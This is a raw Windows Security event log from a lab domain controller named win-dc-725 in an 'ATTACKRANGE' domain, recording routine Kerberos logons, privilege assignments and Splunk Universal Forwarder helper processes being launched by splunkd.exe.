-OpCode=Info -RecordNumber=256038 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:53:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256039 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x558 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:53:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256040 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B134 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:53:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256043 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3A17C3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:53:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256042 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3A17C3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51148 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:53:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256041 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3A17C3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:54:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256044 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1274 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:54:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256045 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:54:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256047 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:54:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256046 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:54:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256048 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:54:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x710 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:54:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc3c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:54:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256053 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3A4D73 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:54:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256052 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3A4D73 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51161 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:54:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256051 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3A4D73 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:55:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256054 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:55:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256057 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:55:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256056 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3999EA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:55:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256055 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:55:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256058 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:55:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256059 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x88c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:55:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256060 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:55:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256061 -Keywords=Audit Success -Message=A new process has been created. - 